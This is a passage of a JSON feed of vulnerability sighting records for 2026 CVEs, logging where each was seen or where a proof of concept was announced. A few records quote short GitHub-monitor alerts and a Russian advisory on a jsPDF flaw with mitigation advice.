"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "Telegram/bFY6VV0I-wbN946yDlDFQ45Jkk9p2QF5sjtP1ymbwAdYSYs", "content": "", "creation_timestamp": "2026-04-11T15:00:11.000000Z"}, {"uuid": "0d6e8148-5baf-4b86-b06d-01ad5f7d2231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31845", "type": "seen", "source": "Telegram/DSBKNtgPxMaCdsBBO3eDVtK2lp78HpmvrP4-xczbCD37qVk", "content": "", "creation_timestamp": "2026-04-11T21:15:17.000000Z"}, {"uuid": "1cec030a-4533-481e-862d-1fa3df043d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31280", "type": "published-proof-of-concept", "source": "Telegram/JqVwQ-JC9B9ph46qq_gs1KPvHPPLX-_sQPp9do9RGc2keWM", "content": "", "creation_timestamp": "2026-04-10T21:00:05.000000Z"}, {"uuid": "e26fe963-b572-4fe8-acf6-bda043fb4518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31048", "type": "published-proof-of-concept", "source": "Telegram/JqVwQ-JC9B9ph46qq_gs1KPvHPPLX-_sQPp9do9RGc2keWM", "content": "", "creation_timestamp": "2026-04-10T21:00:05.000000Z"}, {"uuid": "121d2c27-0186-4ce4-8329-81058df9e9dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31921", "type": "seen", "source": "Telegram/zW9IZrd6TGtn6tlC-J0V1NpAAnhFTvKo2N1YPzc1YC33cco", "content": "", "creation_timestamp": "2026-03-26T21:35:15.000000Z"}, {"uuid": "f8e6d6f7-6925-4424-9654-28de650ce38c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31921", "type": "seen", "source": "Telegram/j_NlDBTackbRa-OzLBD4eltRa4d_E7lS0-uVg4c_Hfoz-Hg", "content": "", "creation_timestamp": "2026-03-26T21:35:36.000000Z"}, {"uuid": "4ff26e74-4cdb-4a98-bb9c-2f6552a89875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31842", "type": "published-proof-of-concept", "source": "Telegram/wcimAFpiynLO5Pl_gqMQBsn3tFo_VkvMxJFbV7Abi9dbMDE", "content": "", "creation_timestamp": "2026-04-07T13:16:15.000000Z"}, {"uuid": "9cc5ffd4-e8fb-4333-81df-634837d436a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "Telegram/V1TSqfmZJdf_aKpoymM9Em6O2uNbTcVHb7f-sjGIlQ-q3Tg", "content": "", "creation_timestamp": "2026-04-08T17:17:30.000000Z"}, {"uuid": "d69a871f-4cbf-4152-a8fa-94ea088a8c19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3199", "type": "published-proof-of-concept", "source": "Telegram/XRvc7f-x7KgmkvO7GcbaizI94C7ZhNHc5jsbe-dfAO5iAWk", "content": "", "creation_timestamp": "2026-04-09T01:28:16.000000Z"}, {"uuid": "b2cf49de-f6e4-4d6a-8097-abb025bd96d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31945", "type": "seen", "source": "Telegram/Gog278dWyh4lEZUplneDun_VggYKWxHPgBiv3mkrQtX1ZGY", "content": "", "creation_timestamp": "2026-03-27T21:22:55.000000Z"}, {"uuid": "df50fd03-8f6c-4c1f-b78a-7c6c4ad1599c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "published-proof-of-concept", "source": "Telegram/KKi08pVtUDaCAJkb9047w9y4w-ZBtgxVmflDXmeWCTkhF9g", "content": "", "creation_timestamp": "2026-03-29T03:00:06.000000Z"}, {"uuid": "527b7f38-f028-4e89-9ce6-6887928ae0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3124", "type": "published-proof-of-concept", "source": "Telegram/063oRcocpMlFcVvHoaD2f2cCGuHIPu0OvkjSex1qn5EiLHQ", "content": "", "creation_timestamp": "2026-03-30T03:15:33.000000Z"}, {"uuid": "9e20bab4-e2f2-4426-9a5e-c555730f2d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "Telegram/HCzuKY5MuLPsfo_EI5S3ks6iQFEX7xEFL0kHnLhrHZ36Sb0", "content": "", "creation_timestamp": "2026-03-27T21:22:34.000000Z"}, {"uuid": "19b07c8a-4c39-4aee-a417-8ebe883a7136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3107", "type": "seen", "source": "Telegram/qhrMuORufep18va9_eZH1nvqNGmq4wR7ALJzzgA5Ea6S8aY", "content": "", "creation_timestamp": "2026-03-31T11:17:48.000000Z"}, {"uuid": "ba2b23d4-50ff-42ea-a9e3-668b48fced7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3106", "type": "seen", "source": "Telegram/-8jI6AiqCmQgWrggXH9YLwpKKzzq7by02yxwbxJ-KYwNVwI", "content": "", "creation_timestamp": "2026-03-31T11:17:40.000000Z"}, {"uuid": "070382cc-75da-4564-9251-3e0da956a670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31831", "type": "published-proof-of-concept", "source": "Telegram/BUI_3SEyOfGtUgM1Z1U1o2mGpepftA8GfZph5NShzoYe3c8", "content": "", "creation_timestamp": "2026-03-30T21:21:54.000000Z"}, {"uuid": "ff6b4583-6f9a-4dd9-a717-153b7dd7e6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31946", "type": "seen", "source": "Telegram/qLRVxcBpXT_mPFtTmfhugZI-eibNxK7vt9WwygicfOox0-Q", "content": "", "creation_timestamp": "2026-03-30T23:20:18.000000Z"}, {"uuid": "5ceceb93-1d18-407a-b5b4-87c6d8ef5316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "Telegram/D50STeUQXswAUbiOW7dpCzhsZMYUNwbmSCetiZipRSO30C8", "content": "", "creation_timestamp": "2026-04-02T03:00:05.000000Z"}, {"uuid": "fc6b9511-4067-4ebf-9c86-713dcb489c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "Telegram/asfs2Uk_HDA2dEAWxK7wNvn0OefGesF-RFz1ocNui3XpVnY", "content": "", "creation_timestamp": "2026-04-02T17:37:18.000000Z"}, {"uuid": "56bc938d-4859-43ef-8c44-25954322bc8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "Telegram/iLkahKLtHBTX_rPbdzPdcuEMJtP6ph5Cfo4EzqcCLMOd2c4", "content": "", "creation_timestamp": "2026-04-02T17:36:35.000000Z"}, {"uuid": "d1173292-6e04-434f-8931-448d79f635bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31934", "type": "seen", "source": "Telegram/3_7miVMXR04DKfwyt7TTlg-rZzunXudUntV94ZrNBpzOyTo", "content": "", "creation_timestamp": "2026-04-02T17:37:03.000000Z"}, {"uuid": "94180245-485e-4111-a126-016c326e048a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "Telegram/3_7miVMXR04DKfwyt7TTlg-rZzunXudUntV94ZrNBpzOyTo", "content": "", "creation_timestamp": "2026-04-02T17:37:03.000000Z"}, {"uuid": "07233aee-b8c6-4d55-827c-ab97af39e3ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/78374", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31900\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Batosay1337Lab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-02 00:57:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31900 target \u2014 psf/black RCE demo\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-02T01:00:04.000000Z"}, {"uuid": "c9831e1e-2ddc-4a44-ac2c-7ddf215a99e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "published-proof-of-concept", "source": "Telegram/DJsg5Qi7j92DgCP14lqfeXU4IPClBfbIww0fpCMr4ueipk0", "content": "", "creation_timestamp": "2026-04-03T17:26:40.000000Z"}, {"uuid": "d04aab4d-36f7-4918-b2ba-8d9ea41fcd0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31679", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116464891635249442", "content": "", "creation_timestamp": "2026-04-25T10:33:36.392485Z"}, {"uuid": "604e77d6-1cd5-49cf-bfa1-b3be9a872dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77711", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31802\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Recorded-texteditor120\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-28 23:36:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDemonstrate and analyze the CVE-2026-31802 path traversal vulnerability in npm tar, enabling arbitrary file overwrite via symlink extraction.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-29T00:00:04.000000Z"}, {"uuid": "89aacd9b-22f7-4930-aa67-79fec43540ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31891", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31891\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ffasterss\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-24 19:58:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSQL Injection in MongoLite Aggregation Optimizer via toJsonExtractRaw()\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-24T20:00:04.000000Z"}, {"uuid": "204cfba1-73a8-4f8a-834e-f22d55e9fde1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31938", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3020", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 output() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f PDF-\u0444\u0430\u0439\u043b\u043e\u0432 jsPDF \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435\u043c \u043c\u0435\u0440 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 options. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e PDF-\u0444\u0430\u0439\u043b\u0430\n\nBDU:2026-03346\nCVE-2026-31938\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f (\u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438) \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://github.com/parallax/jsPDF/releases/tag/v4.2.1", "creation_timestamp": "2026-03-18T14:59:00.000000Z"}, {"uuid": "e3a4c6d1-d84a-4571-a142-01c583ed09c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkiuc3bley2w", "content": "", "creation_timestamp": "2026-04-27T20:00:14.954618Z"}, {"uuid": "436a9382-9575-43f8-9156-f141e20683a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31666", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkiucd2w242g", "content": "", "creation_timestamp": "2026-04-27T20:00:24.281103Z"}, {"uuid": "6b271b42-33e2-48b2-afbf-7f781dc3df66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31667", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjjoxtpwf2f", "content": "", "creation_timestamp": "2026-04-28T02:23:26.529559Z"}, {"uuid": "ebf00b4e-a635-4f3f-b6f6-29cb36f3eace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31668", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjjp7eh352r", "content": "", "creation_timestamp": "2026-04-28T02:23:29.986073Z"}, {"uuid": "81277938-789c-4a17-b84b-dac944c5d7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjjpgx2u22g", "content": "", "creation_timestamp": "2026-04-28T02:23:33.887120Z"}, {"uuid": "a7bca934-aaa2-497f-a7a9-3952dce6ba06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31656", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjlrlnhko2z", "content": "", "creation_timestamp": "2026-04-28T03:00:43.790875Z"}, {"uuid": "3edead65-710f-4d2b-a769-ae038c9e9e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31663", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjm7lzm2m2n", "content": "", "creation_timestamp": "2026-04-28T03:10:43.277762Z"}, {"uuid": "0794287b-97f1-4c2d-b6ba-e231e93c3b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116467237575005440", "content": "", "creation_timestamp": "2026-04-25T20:30:11.409479Z"}, {"uuid": "14213d80-441c-42bf-8f52-2ac4d3c8d279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31637", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjqnvpjxx2f", "content": "", "creation_timestamp": "2026-04-28T04:27:56.866721Z"}, {"uuid": "62a4e14f-d8f6-41f4-9e00-e7b5711277b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31638", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjqo5aoza2z", "content": "", "creation_timestamp": "2026-04-28T04:28:04.840991Z"}, {"uuid": "705ffae5-50f8-45e3-8566-cab847de5680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31640", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjqoeozm62s", "content": "", "creation_timestamp": "2026-04-28T04:28:12.223134Z"}, {"uuid": "90bc4216-0d6e-43e9-9cc0-8f6de46a661a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31641", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjshk3y2f2e", "content": "", "creation_timestamp": "2026-04-28T05:00:10.579178Z"}, {"uuid": "e895f151-34c3-44ed-acd5-7a8556ad9545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31644", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjshrf7fs2z", "content": "", "creation_timestamp": "2026-04-28T05:00:18.804120Z"}, {"uuid": "f646a4e1-e778-463f-9d76-89f8b8241488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31627", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjshysxsk2z", "content": "", "creation_timestamp": "2026-04-28T05:00:26.102871Z"}, {"uuid": "97914e54-a6ac-4800-b902-e35a826abd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjvsiev3j2n", "content": "", 